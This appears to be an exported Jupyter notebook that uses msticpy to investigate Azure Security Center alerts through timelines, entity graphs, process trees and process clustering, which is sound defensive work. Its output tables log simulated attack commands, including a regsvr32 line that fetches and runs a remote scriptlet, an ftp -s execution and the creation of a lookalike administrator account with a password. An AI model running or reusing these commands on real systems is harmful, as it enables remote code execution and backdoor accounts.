If you are running this from an Azure Notebooks instance created by ASI you can ignore the package install step
# You may needs these - should only need to uncomment and run once
# !pip install msgpack
# !pip install Kqlmagic --no-cache-dir --upgrade
# !pip install PyHamcrest
# !conda install -c conda-forge python-levenshtein -y
# !conda install requests
# !conda install attrs
# !conda install seaborn
# !conda install bokeh
# !conda install holoviews
# our package
#!pip install ../python --upgrade
# Imports
import sys
MIN_REQ_PYTHON = (3,6)
if sys.version_info < MIN_REQ_PYTHON:
print('Check the Kernel->Change Kernel menu and ensure that Python 3.6')
print('or later is selected as the active kernel.')
sys.exit("Python %s.%s or later is required.\n" % MIN_REQ_PYTHON)
import numpy as np
from IPython import get_ipython
from IPython.display import display, HTML
import ipywidgets as widgets
import matplotlib.pyplot as plt
import seaborn as sns
import networkx as nx
sns.set()
import pandas as pd
pd.set_option('display.max_rows', 500)
pd.set_option('display.max_columns', 50)
pd.set_option('display.max_colwidth', 100)
import os
module_path = os.path.abspath(os.path.join('..'))
if module_path not in sys.path:
sys.path.append(module_path)
import msticpy.sectools as sectools
import msticpy.nbtools as asi
import msticpy.nbtools.kql as qry
import msticpy.nbtools.nbdisplay as nbdisp
available_workspaces = {'Contoso77':'802d39e1-9d70-404d-832c-2de5e2478eda',
'MSTICLinux':'06dc719f-5dad-47e9-b5af-07d84a0bda4e',
'ASIHuntOMSWorkspaceV4': '52b1ab41-869e-4138-9e40-2a4457f09bf0',
'ASIHuntOMSWorkspaceV5': '4ca7b24a-6e8f-4540-a8ce-1a80c2948c37',
'Rome ILDC - Detection E2E Tests Stage': '3eb61071-5dcd-4db3-94fa-0091a69b7359'}
select_ws = asi.SelectString(description='Select workspace :',
item_dict=available_workspaces)
select_ws.display()
Select(description='Select workspace :', layout=Layout(height='100px', width='50%'), options=('Contoso77', 'MS…
import os
from msticpy.nbtools.asiconfig import WorkspaceConfig
ws_config_file = 'config.json'
try:
ws_config = WorkspaceConfig(ws_config_file)
print('Found config file')
for cf_item in ['tenant_id', 'subscription_id', 'resource_group', 'workspace_id', 'workspace_name']:
print(cf_item, ws_config[cf_item])
except:
ws_config = None
LA_URL = 'https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces'
help_str=f'To find your workspace Id go to <a href={LA_URL}>Log Analytics</a> and look at the workspace properties.'
display(HTML(help_str))
ws_id = asi.GetEnvironmentKey(env_var='WORKSPACE_ID',
prompt='Log Analytics Workspace Id:')
if ws_config:
ws_id.value = ws_config['workspace_id']
ws_id.display()
HTML(value='')
HBox(children=(Text(value='', description='Log Analytics Workspace Id:', layout=Layout(width='50%'), style=Des…
If using user/device authentication, hit the 'Copy code to clipboard and authenticate' button. This will pop up an Azure Active Directory authentication dialog. The device code will have been copied to the clipboard. Paste that into the first dialog. You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.
# TODO - set WS ID from dialog
if not select_ws.value and not ws_id.value:
raise ValueError('No workspace selected.')
WORKSPACE_ID = select_ws.value
asi.kql.load_kql_magic()
# Use the following syntax if you are authenticating using an Azure Active Directory
# AppId and Secret
# %kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(reader_client_id).clientsecret(reader_client_secret)
%kql loganalytics://code().workspace(WORKSPACE_ID)
alert_q_times = asi.QueryTime(units='day', max_before=20, before=5, max_after=1)
alert_q_times.display()
HTML(value='<h4>Set query time boundaries</h4>')
HBox(children=(DatePicker(value=datetime.date(2019, 2, 4), description='Origin Date'), Text(value='00:30:49.19…
VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…
alert_counts = qry.list_alerts_counts(provs=[alert_q_times])
alert_list = qry.list_alerts(provs=[alert_q_times])
print(len(alert_counts), ' distinct alert types')
print(len(alert_list), ' distinct alerts')
display(HTML('<h2>Alert Timeline</h2>'))
nbdisp.display_timeline(data=alert_list, source_columns = ['AlertName', 'CompromisedEntity'], title='Alerts', height=200)
display(HTML('<h2>Top alerts</h2>'))
alert_counts.head(20) # remove '.head(20)'' to see the full list grouped by AlertName
66 distinct alert types 189 distinct alerts
AlertName | alertCount | firstAlert | lastAlert | |
---|---|---|---|---|
0 | Suspicious Powershell Activity Detected | 16 | 2019-01-15 05:15:14 | 2019-01-15 17:15:15 |
1 | Suspicious process executed | 11 | 2019-01-12 00:02:51 | 2019-01-15 17:15:19 |
2 | Executable found running from a suspicious location | 9 | 2019-01-15 05:15:20 | 2019-01-15 17:15:19 |
3 | DC local group addition - Demo | 6 | 2019-01-10 06:41:45 | 2019-01-15 06:41:46 |
4 | Palo Alto admin logged on via SSH - Demo | 6 | 2019-01-10 06:41:50 | 2019-01-15 06:41:55 |
5 | DC with MS AM engine failure - Demo | 6 | 2019-01-10 06:43:59 | 2019-01-15 06:44:00 |
6 | Suspicious Account Added | 6 | 2019-01-10 20:38:16 | 2019-01-15 22:28:16 |
7 | Global domain trust creation - Demo | 6 | 2019-01-10 05:48:09 | 2019-01-15 05:48:11 |
8 | Maliciuos IP communication | 6 | 2019-01-10 06:36:03 | 2019-01-15 06:36:02 |
9 | Suspicious double extension file executed | 6 | 2019-01-12 00:02:51 | 2019-01-15 17:15:23 |
10 | Suspicious SVCHOST process executed | 6 | 2019-01-12 00:02:51 | 2019-01-15 17:15:23 |
11 | Azure Security Center test alert (not a threat) | 5 | 2019-01-15 05:15:25 | 2019-01-15 17:15:23 |
12 | Suspicious system process executed | 5 | 2019-01-15 05:15:20 | 2019-01-15 17:15:19 |
13 | Suspicious Volume Shadow Copy Activity | 5 | 2019-01-15 05:15:20 | 2019-01-15 17:15:23 |
14 | Rare SVCHOST service group executed | 5 | 2019-01-15 05:15:25 | 2019-01-15 17:15:23 |
15 | Ransomware indicators detected | 5 | 2019-01-15 05:15:25 | 2019-01-15 17:15:23 |
16 | Detected Petya ransomware indicators | 5 | 2019-01-15 05:15:25 | 2019-01-15 17:15:23 |
17 | Suspiciously named process detected | 5 | 2019-01-15 05:15:15 | 2019-01-15 17:15:17 |
18 | Suspicious WindowPosition registry value detected | 5 | 2019-01-15 05:15:20 | 2019-01-15 17:15:19 |
19 | Detected obfuscated command line. | 4 | 2019-01-15 05:15:14 | 2019-01-15 17:15:15 |
As you select an alert, the main properties will be shown below the list.
Use the filter box to narrow down your search to any substring in the AlertName.
alert_select = asi.AlertSelector(alerts=alert_list, action=nbdisp.display_alert)
alert_select.display()
VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…
Skip this if you selected from the above list
# Allow alert to be selected
# Allow subscription to be selected
get_alert = asi.GetSingleAlert(action=nbdisp.display_alert)
get_alert.display()
VBox(children=(Text(value='', description='SystemAlertId for alert :', layout=Layout(width='50%'), placeholder…
This section extracts the alert information and entities into a SecurityAlert object allowing us to query the properties more reliably.
In particular, we use the alert to automatically provide parameters for queries and UI elements. Subsequent queries will use properties like the host name and derived properties such as the OS family (Linux or Windows) to adapt the query. Query time selectors like the one above will also default to an origin time that matches the alert selected.
The alert view below shows all of the main properties of the alert plus the extended property dictionary (if any) and JSON representations of the Entity.
# Extract entities and properties into a SecurityAlert class
if alert_select.selected_alert is None:
sys.exit("Please select an alert before executing remaining cells.")
security_alert = asi.SecurityAlert(alert_select.selected_alert)
asi.disp.display_alert(security_alert, show_entities=True)
101 | |
---|---|
TenantId | 802d39e1-9d70-404d-832c-2de5e2478eda |
StartTimeUtc | 2019-01-15 05:15:15 |
EndTimeUtc | 2019-01-15 05:15:15 |
ProviderAlertId | 265472ff-3820-4dad-8da7-00e39e1a99fd |
SystemAlertId | 2518547714843218505_265472ff-3820-4dad-8da7-00e39e1a99fd |
ProviderName | Detection |
VendorName | Microsoft |
AlertType | Detected suspicious use of FTP -s Switch |
AlertName | Detected suspicious use of FTP -s Switch |
AlertDisplayName | Detected suspicious use of FTP -s Switch |
Description | Analysis of process creation data from the MSTICALERTSWIN1 detected the use of FTP's "-s:filenam... |
Severity | Medium |
IsIncident | False |
ExtendedProperties | {'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\MSTICAdmin', 'Account Sess... |
Entities | [{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MS... |
ConfidenceLevel | Unknown |
ConfidenceScore | NaN |
ExtendedLinks | |
WorkspaceSubscriptionId | 3c1bb38c-82e3-4f8d-a115-a7110ba70d05 |
WorkspaceResourceGroup | contoso77 |
TimeGenerated | 2019-01-15 05:15:20 |
ResourceId | /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide... |
SourceComputerId | 46fe7078-61bb-4bed-9430-7ac01d91c273 |
CompromisedEntity | MSTICALERTSWIN1 |
0 | |
---|---|
Compromised Host | MSTICALERTSWIN1 |
User Name | MSTICALERTSWIN1\MSTICAdmin |
Account Session Id | 0xfaac27 |
Suspicious Process | c:\diagnostics\usertmp\ftp.exe |
Suspicious Command Line | .\ftp -s:c:\recycler\xxppyy.exe |
Parent Process | c:\windows\system32\cmd.exe |
Suspicious Process Id | 0x1580 |
resourceType | Virtual Machine |
ServiceId | 14fa08c7-c48e-4c18-950c-8148024b4398 |
ReportingSystem | Azure |
OccuringDatacenter | eastus |
{ 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'Type': 'host'} { 'Directory': 'c:\\windows\\system32', 'FullPath': 'c:\\windows\\system32\\cmd.exe', 'Name': 'cmd.exe', 'Type': 'file'} { 'Host': { 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'Type': 'host'}, 'ImageFile': { 'Directory': 'c:\\windows\\system32', 'FullPath': 'c:\\windows\\system32\\cmd.exe', 'Name': 'cmd.exe', 'Type': 'file'}, 'ProcessId': '0xbc8', 'Type': 'process'} { 'Host': { 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'Type': 'host'}, 'LogonId': '0xfaac27', 'NTDomain': 'MSTICAlertsWin1', 'Name': 'MSTICAdmin', 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'Type': 'account'} { 'Directory': 'c:\\diagnostics\\usertmp', 'FullPath': 'c:\\diagnostics\\usertmp\\ftp.exe', 'Name': 'ftp.exe', 'Type': 'file'} { 'Account': { 'Host': { 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'Type': 'host'}, 'LogonId': '0xfaac27', 'NTDomain': 'MSTICAlertsWin1', 'Name': 'MSTICAdmin', 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'Type': 'account'}, 'CommandLine': '.\\ftp -s:c:\\recycler\\xxppyy.exe', 'CreationTimeUtc': '2019-01-15T05:15:15.6781494Z', 'ElevationToken': 'Default', 'Host': { 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'Type': 'host'}, 'ImageFile': { 'Directory': 'c:\\diagnostics\\usertmp', 'FullPath': 'c:\\diagnostics\\usertmp\\ftp.exe', 'Name': 'ftp.exe', 'Type': 'file'}, 'ParentProcess': { 'Host': { 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'Type': 'host'}, 'ImageFile': { 'Directory': 'c:\\windows\\system32', 'FullPath': 'c:\\windows\\system32\\cmd.exe', 'Name': 'cmd.exe', 'Type': 'file'}, 'ProcessId': '0xbc8', 'Type': 'process'}, 'ProcessId': '0x1580', 'Type': 'process'} { 'Account': { 'Host': { 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'Type': 'host'}, 'LogonId': '0xfaac27', 'NTDomain': 'MSTICAlertsWin1', 'Name': 'MSTICAdmin', 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'Type': 'account'}, 'EndTimeUtc': '2019-01-15T05:15:15.6781494Z', 'Host': { 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'Type': 'host'}, 'SessionId': '0xfaac27', 'StartTimeUtc': '2019-01-15T05:15:15.6781494Z', 'Type': 'hostlogonsession'}
Depending on the type of alert there may be one or more entities attached as properties. Entities are things like Host, Account, IpAddress, Process, etc. - essentially the 'nouns' of security investigation. Events and alerts are the things that link them in actions so can be thought of as the verbs. Entities are often related to other entities - for example a process will usually have a related file entity (the process image) and an Account entity (the context in which the process was running). Endpoint alerts typically always have a host entity (which could be a physical or virtual machine).
# Draw the graph using Networkx/Matplotlib
%matplotlib inline
alertentity_graph = asi.create_alert_graph(security_alert)
nbdisp.draw_alert_entity_graph(alertentity_graph, width=15)
C:\Users\Ian\Anaconda3\lib\site-packages\networkx\drawing\nx_pylab.py:611: MatplotlibDeprecationWarning: isinstance(..., numbers.Number)
# from pyvis.network import Network
# import math
# # import networkx as nx
# # G = Network()
# # G.from_nx(alertentity_graph)
# import holoviews as hv
# hv.extension('bokeh')
# %opts Graph [width=900 height=900]
# %opts Graph [color_index='circle']
# %opts Graph (node_size=20 edge_line_width=1)
# %opts Graph [tools=['wheel_zoom', 'hover']]
# padding = dict(x=(-1.2, 1.2), y=(-1.2, 1.2))
# n_nodes = len(alertentity_graph.nodes)
# k = 1 / (math.sqrt(n_nodes))
# # hv_graph = hv.Graph.from_networkx(nx_graph, nx.layout.spring_layout, k=k).redim.range(**padding)
# hv_graph = hv.Graph.from_networkx(alertentity_graph, nx.layout.spring_layout, k=k).redim.range(**padding)
# labels = hv.Labels(
# {('x', 'y'): hv_graph.nodes.array([0, 1]), 'text': hv_graph.nodes.data['name']}, ## 'label' can be an array: has to be correct size!
# ['x', 'y'],
# 'text').options(fontsize=8, cmap='viridis', yoffset=0.05)
# hv_graph*labels
For a subset of entities in the alert we can search for any alerts that have that entity in common. Currently this query looks for alerts that share the same Host, Account or Process and lists them below. Notes:
The query time boundaries default to a longer period than when searching for the alert. You can extend the time boundary searched before or after the alert time. If the widget doesn't support the time boundary that you want you can change the max_before and max_after parameters in the call to QueryTime below to extend the possible time boundaries.
# set the origin time to the time of our alert
query_times = asi.QueryTime(units='day', origin_time=security_alert.TimeGenerated,
max_before=28, max_after=1, before=5)
query_times.display()
HTML(value='<h4>Set query time boundaries</h4>')
HBox(children=(DatePicker(value=datetime.date(2019, 1, 15), description='Origin Date'), Text(value='05:15:20',…
VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…
related_alerts = qry.list_related_alerts(provs=[query_times, security_alert])
host_alert_items = related_alerts\
.query('host_match == @True')[['AlertType', 'StartTimeUtc']]\
.groupby('AlertType').StartTimeUtc.agg('count').to_dict()
acct_alert_items = related_alerts\
.query('acct_match == @True')[['AlertType', 'StartTimeUtc']]\
.groupby('AlertType').StartTimeUtc.agg('count').to_dict()
proc_alert_items = related_alerts\
.query('proc_match == @True')[['AlertType', 'StartTimeUtc']]\
.groupby('AlertType').StartTimeUtc.agg('count').to_dict()
def print_related_alerts(alertDict, entityType, entityName):
if len(alertDict) > 0:
print('Found {} different alert types related to this {} (\'{}\')'.format(len(alertDict), entityType, entityName))
for (k,v) in alertDict.items():
print(' {}, Count of alerts: {}'.format(k, v))
else:
print('No alerts for {} entity \'{}\''.format(entityType, entityName))
print_related_alerts(host_alert_items, 'host', security_alert.hostname)
print_related_alerts(acct_alert_items, 'account',
security_alert.primary_account.qualified_name if security_alert.primary_account
else None)
print_related_alerts(proc_alert_items, 'process',
security_alert.primary_process.ProcessFilePath if security_alert.primary_process
else None)
nbdisp.display_timeline(data=related_alerts, source_columns = ['AlertName'], title='Alerts', height=100)
Found 43 different alert types related to this host ('MSTICALERTSWIN1') Anomalous account creation detected, Count of alerts: 1 Azure Security Center test alert (not a threat), Count of alerts: 5 Detected Petya ransomware indicators, Count of alerts: 5 Detected actions indicative of disabling and deleting IIS log files., Count of alerts: 1 Detected anomalous mix of upper and lower case characters in command-line, Count of alerts: 4 Detected change to a registry key that can be abused to bypass UAC, Count of alerts: 1 Detected obfuscated command line., Count of alerts: 3 Detected possible execution of keygen executable, Count of alerts: 1 Detected possible execution of malware dropper, Count of alerts: 1 Detected possible local reconnaissance activity, Count of alerts: 1 Detected potentially suspicious use of Telegram tool, Count of alerts: 1 Detected suspicious Set-ExecutionPolicy and WinRM changes, Count of alerts: 1 Detected suspicious commandline used to start all executables in a directory, Count of alerts: 1 Detected suspicious execution of VBScript.Encode command, Count of alerts: 1 Detected suspicious execution via rundll32.exe, Count of alerts: 2 Detected suspicious file cleanup commands, Count of alerts: 1 Detected suspicious file creation, Count of alerts: 1 Detected suspicious named pipe communications, Count of alerts: 1 Detected suspicious new firewall rule, Count of alerts: 1 Detected suspicious use of Cacls to lower the security state of the system., Count of alerts: 1 Detected suspicious use of FTP -s Switch, Count of alerts: 1 Detected suspicious use of Pcalua.exe to launch executable code, Count of alerts: 1 Detected the disabling of critical services, Count of alerts: 1 Digital currency mining related behavior detected, Count of alerts: 3 Executable found running from a suspicious location, Count of alerts: 9 High risk software detected, Count of alerts: 1 Possible credential dumping detected, Count of alerts: 1 Potential attempt to bypass AppLocker detected, Count of alerts: 3 Random process name detected, Count of alerts: 2 Ransomware indicators detected, Count of alerts: 5 Rare SVCHOST service group executed, Count of alerts: 5 Sticky keys attack detected, Count of alerts: 1 Suspected Kerberos Golden Ticket attack parameters observed, Count of alerts: 1 Suspicious Account Creation Detected, Count of alerts: 3 Suspicious Powershell Activity Detected, Count of alerts: 12 Suspicious SVCHOST process executed, Count of alerts: 5 Suspicious Volume Shadow Copy Activity, Count of alerts: 5 Suspicious WindowPosition registry value detected, Count of alerts: 5 Suspicious double extension file executed, Count of alerts: 5 Suspicious download using Certutil detected, Count of alerts: 1 Suspicious process executed, Count of alerts: 10 Suspicious system process executed, Count of alerts: 5 Suspiciously named process detected, Count of alerts: 4 Found 42 different alert types related to this account ('MSTICAlertsWin1\MSTICAdmin') Azure Security Center test alert (not a threat), Count of alerts: 4 Detected Petya ransomware indicators, Count of alerts: 4 Detected actions indicative of disabling and deleting IIS log files., Count of alerts: 1 Detected anomalous mix of upper and lower case characters in command-line, Count of alerts: 3 Detected change to a registry key that can be abused to bypass UAC, Count of alerts: 1 Detected obfuscated command line., Count of alerts: 2 Detected possible execution of keygen executable, Count of alerts: 1 Detected possible execution of malware dropper, Count of alerts: 1 Detected possible local reconnaissance activity, Count of alerts: 1 Detected potentially suspicious use of Telegram tool, Count of alerts: 1 Detected suspicious Set-ExecutionPolicy and WinRM changes, Count of alerts: 1 Detected suspicious commandline used to start all executables in a directory, Count of alerts: 1 Detected suspicious execution of VBScript.Encode command, Count of alerts: 1 Detected suspicious execution via rundll32.exe, Count of alerts: 2 Detected suspicious file cleanup commands, Count of alerts: 1 Detected suspicious file creation, Count of alerts: 1 Detected suspicious named pipe communications, Count of alerts: 1 Detected suspicious new firewall rule, Count of alerts: 1 Detected suspicious use of Cacls to lower the security state of the system., Count of alerts: 1 Detected suspicious use of FTP -s Switch, Count of alerts: 1 Detected suspicious use of Pcalua.exe to launch executable code, Count of alerts: 1 Detected the disabling of critical services, Count of alerts: 1 Digital currency mining related behavior detected, Count of alerts: 2 Executable found running from a suspicious location, Count of alerts: 7 High risk software detected, Count of alerts: 1 Possible credential dumping detected, Count of alerts: 1 Potential attempt to bypass AppLocker detected, Count of alerts: 2 Random process name detected, Count of alerts: 1 Ransomware indicators detected, Count of alerts: 4 Rare SVCHOST service group executed, Count of alerts: 4 Sticky keys attack detected, Count of alerts: 1 Suspected Kerberos Golden Ticket attack parameters observed, Count of alerts: 1 Suspicious Account Creation Detected, Count of alerts: 2 Suspicious Powershell Activity Detected, Count of alerts: 8 Suspicious SVCHOST process executed, Count of alerts: 4 Suspicious Volume Shadow Copy Activity, Count of alerts: 4 Suspicious WindowPosition registry value detected, Count of alerts: 4 Suspicious double extension file executed, Count of alerts: 4 Suspicious download using Certutil detected, Count of alerts: 1 Suspicious process executed, Count of alerts: 8 Suspicious system process executed, Count of alerts: 4 Suspiciously named process detected, Count of alerts: 3 Found 1 different alert types related to this process ('c:\diagnostics\usertmp\ftp.exe') Detected suspicious use of FTP -s Switch, Count of alerts: 1
This should indicate which entities the other alerts are related to.
This can be unreadable with a lot of alerts. Use the matplotlib interactive zoom control to zoom in to part of the graph.
# Draw a graph of this (add to entity graph)
%matplotlib notebook
%matplotlib inline
rel_alert_graph = asi.add_related_alerts(related_alerts=related_alerts,
alertgraph=alertentity_graph)
nbdisp.draw_alert_entity_graph(rel_alert_graph, width=15)
C:\Users\Ian\Anaconda3\lib\site-packages\networkx\drawing\nx_pylab.py:611: MatplotlibDeprecationWarning: isinstance(..., numbers.Number)
Select an Alert to view details.
If you want to investigate that alert - copy its SystemAlertId property and open a new instance of this notebook to investigate this alert.
related_alerts['CompromisedEntity'] = related_alerts['Computer']
def disp_full_alert(alert):
global related_alert
related_alert = asi.SecurityAlert(alert)
nbdisp.display_alert(related_alert, show_entities=True)
print('Selected alert is available as \'related_alert\' variable.')
rel_alert_select = asi.AlertSelector(alerts=related_alerts, action=disp_full_alert)
rel_alert_select.display()
Selected alert is available as 'related_alert' variable.
VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…
If the alert has a process entity this section tries to retrieve the entire process tree to which that process belongs.
Notes:
The source (alert) process is shown in red.
What's shown for each process:
# set the origin time to the time of our alert
query_times = asi.QueryTime(units='minute', origin_time=security_alert.origin_time)
query_times.display()
HTML(value='<h4>Set query time boundaries</h4>')
HBox(children=(DatePicker(value=datetime.date(2019, 1, 15), description='Origin Date'), Text(value='05:15:20',…
VBox(children=(IntRangeSlider(value=(-60, 10), description='Time Range (min):', layout=Layout(width='80%'), mi…
if security_alert.primary_process and security_alert.primary_process.ProcessId:
process_tree = qry.get_process_tree(provs=[query_times, security_alert])
# Print out the text view of the process tree
nbdisp.display_process_tree(process_tree)
else:
print('This alert has no process entity. See later in the notebook to retrieve all processes')
This shows each process in the process tree on a timeline view.
Labelling of individual process is very performance intensive and often results in nothing being displayed at all! Besides, for large numbers of processes it would likely result in an unreadable mess.
Your main tools for negotiating the timeline are the Hover tool (toggled on and off by the speech bubble icon) and the wheel-zoom and pan tools (the former is an icon with an elipse and a magnifying glass, the latter is the crossed-arrows icon). The wheel zoom is particularly useful.
As you hover over each process it will display the image name, PID and commandline.
Also shown on the graphic is the timestamp line of the source/alert process.
# Show timeline of events
nbdisp.display_timeline(data=process_tree, alert=security_alert, title='Alert Process Session', height=250)
Sometimes you don't have a source process to work with. Other times it's just useful to see what else is going on on the host. This section retrieves all processes on the host within the time bounds set in the query times widget.
You can display the raw output of this by looking at the processes_on_host dataframe. Just copy this into a new cell and hit Ctrl-Enter.
Usually though, the results return a lot of very repetitive and unintersting system processes so we attempt to cluster these to make the view easier to negotiate. To do this we process the raw event list output to extract a few features that render strings (such as commandline)into numerical values. The default below uses the following features:
Then we run a clustering algorithm (DBScan in this case) on the process list. The result groups similar (noisy) processes together and leaves unique process patterns as single-member clusters.
from msticpy.sectools.eventcluster import dbcluster_events, add_process_features
processes_on_host = qry.list_processes(provs=[query_times, security_alert])
feature_procs = add_process_features(input_frame=processes_on_host,
path_separator=security_alert.path_separator)
# you might need to play around with the max_cluster_distance parameter.
# decreasing this gives more clusters.
(clus_events, dbcluster, x_data) = dbcluster_events(data=feature_procs,
cluster_columns=['commandlineTokensFull',
'pathScore',
'isSystemSession'],
max_cluster_distance=0.0001)
print('Number of input events:', len(feature_procs))
print('Number of clustered events:', len(clus_events))
clus_events[['ClusterSize', 'processName']][clus_events['ClusterSize'] > 1].plot.bar(x='processName',
title='Process names with Cluster > 1',
figsize=(12,3));
Number of input events: 363 Number of clustered events: 62
# Looking at the variability of commandlines and process image paths
import seaborn as sns
sns.set(style="darkgrid")
proc_plot = sns.catplot(y="processName", x="commandlineTokensFull",
data=feature_procs.sort_values('processName'),
kind='box', height=10)
proc_plot.fig.suptitle('Variability of Commandline Tokens', x=1, y=1)
proc_plot = sns.catplot(y="processName", x="pathLogScore",
data=feature_procs.sort_values('processName'),
kind='box', height=10, hue='isSystemSession')
proc_plot.fig.suptitle('Variability of Path', x=1, y=1);
The top graph shows that, for a given process, some have a wide variability in their command line content while the majority have little or none. Looking at a couple of examples - like cmd.exe, powershell.exe, reg.exe, net.exe - we can recognize several common command line tools.
The second graph shows processes by full process path content. We wouldn't normally expect to see variation here - as is the cast with most. There is also quite a lot of variance in the score making it a useful proxy feature for unique path name (this means that proc1.exe and proc2.exe that have the same commandline score won't get collapsed into the same cluster).
Any process with a spread of values here means that we are seeing the same process name (but not necessarily the same file) is being run from different locations.
resp = input('View the clustered data? y/n')
if resp == 'y':
display(clus_events.sort_values('TimeGenerated')[['TimeGenerated', 'LastEventTime',
'NewProcessName', 'CommandLine',
'ClusterSize', 'commandlineTokensFull',
'pathScore', 'isSystemSession']])
View the clustered data? y/ny
TimeGenerated | LastEventTime | NewProcessName | CommandLine | ClusterSize | commandlineTokensFull | pathScore | isSystemSession | |
---|---|---|---|---|---|---|---|---|
292 | 2019-01-15 04:23:43.103 | 2019-01-15 04:45:24.523 | C:\Windows\System32\taskhostw.exe | taskhostw.exe SYSTEM | 1.0 | 2 | 3262 | True |
270 | 2019-01-15 04:28:01.517 | 2019-01-15 04:28:33.090 | C:\Program Files (x86)\Google\Update\GoogleUpdate.exe | "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler | 2.0 | 17 | 4895 | True |
133 | 2019-01-15 04:35:15.673 | 2019-01-15 04:45:24.523 | C:\Windows\System32\sppsvc.exe | C:\Windows\system32\sppsvc.exe | 1.0 | 5 | 2933 | True |
134 | 2019-01-15 04:35:16.060 | 2019-01-15 04:45:24.523 | C:\Windows\System32\wbem\WmiPrvSE.exe | C:\Windows\system32\wbem\wmiprvse.exe -Embedding | 1.0 | 8 | 3546 | True |
254 | 2019-01-15 04:42:25.437 | 2019-01-15 05:12:25.403 | C:\Windows\System32\MusNotification.exe | C:\Windows\system32\MusNotification.exe Display | 2.0 | 6 | 3826 | True |
256 | 2019-01-15 04:43:05.240 | 2019-01-15 04:45:24.523 | C:\WindowsAzure\GuestAgent_2.7.41491.901_2019-01-14_202614\CollectGuestLogs.exe | "CollectGuestLogs.exe" -Mode:ga -FileName:C:\WindowsAzure\CollectGuestLogsTemp\710dc858-9c96-4df... | 1.0 | 18 | 6421 | True |
301 | 2019-01-15 04:44:37.180 | 2019-01-15 04:45:24.523 | C:\Windows\System32\cmd.exe | "cmd" | 1.0 | 2 | 2570 | True |
356 | 2019-01-15 04:45:24.523 | 2019-01-15 04:45:24.523 | C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Resources\222\pmfexe.exe | "C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Resources\222\pmfexe.exe... | 1.0 | 27 | 9108 | True |
74 | 2019-01-15 05:15:03.017 | 2019-01-15 04:45:24.523 | C:\Windows\System32\dllhost.exe | C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} | 1.0 | 12 | 3024 | True |
75 | 2019-01-15 05:15:03.047 | 2019-01-15 04:45:24.523 | C:\Windows\System32\cmd.exe | cmd.exe /c c:\Diagnostics\WindowsSimulateDetections.bat c:\Diagnostics\UserTmp | 1.0 | 12 | 2570 | True |
77 | 2019-01-15 05:15:03.247 | 2019-01-15 05:15:11.260 | C:\Windows\System32\cmd.exe | cmd /c echo Any questions about the commands executed here then please contact one of | 2.0 | 16 | 2570 | False |
78 | 2019-01-15 05:15:03.257 | 2019-01-15 04:45:24.523 | C:\Windows\System32\cmd.exe | cmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft... | 1.0 | 21 | 2570 | False |
80 | 2019-01-15 05:15:03.410 | 2019-01-15 05:15:14.693 | C:\Windows\System32\net1.exe | C:\Windows\system32\net1 user adm1nistrator Bob_testing /add | 7.0 | 10 | 2638 | False |
82 | 2019-01-15 05:15:03.517 | 2019-01-15 04:45:24.523 | C:\Windows\System32\net1.exe | C:\Windows\system32\net1 share TestShare=c:\testshare /Grant:Users,Read | 1.0 | 13 | 2638 | False |
83 | 2019-01-15 05:15:03.543 | 2019-01-15 04:45:24.523 | C:\Windows\System32\Dism.exe | dism /online /enable-feature /featurename:File-Services /NoRestart | 1.0 | 11 | 2659 | True |
85 | 2019-01-15 05:15:03.830 | 2019-01-15 05:15:19.447 | C:\Windows\System32\net.exe | net use q: \\MSTICAlertsWin1\TestShare Bob_testing /User:adm1nistrator | 3.0 | 12 | 2589 | False |
86 | 2019-01-15 05:15:03.850 | 2019-01-15 04:45:24.523 | C:\Windows\Temp\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\DismHost.exe | C:\Windows\TEMP\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\dismhost.exe {D57BA872-53C0-424D-80AE-E4911... | 1.0 | 15 | 4900 | True |
87 | 2019-01-15 05:15:04.507 | 2019-01-15 04:45:24.523 | C:\Windows\servicing\TrustedInstaller.exe | C:\Windows\servicing\TrustedInstaller.exe | 1.0 | 5 | 4175 | True |
94 | 2019-01-15 05:15:10.753 | 2019-01-15 04:45:24.523 | C:\Diagnostics\UserTmp\regsvr32.exe | .\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll | 1.0 | 20 | 3399 | False |
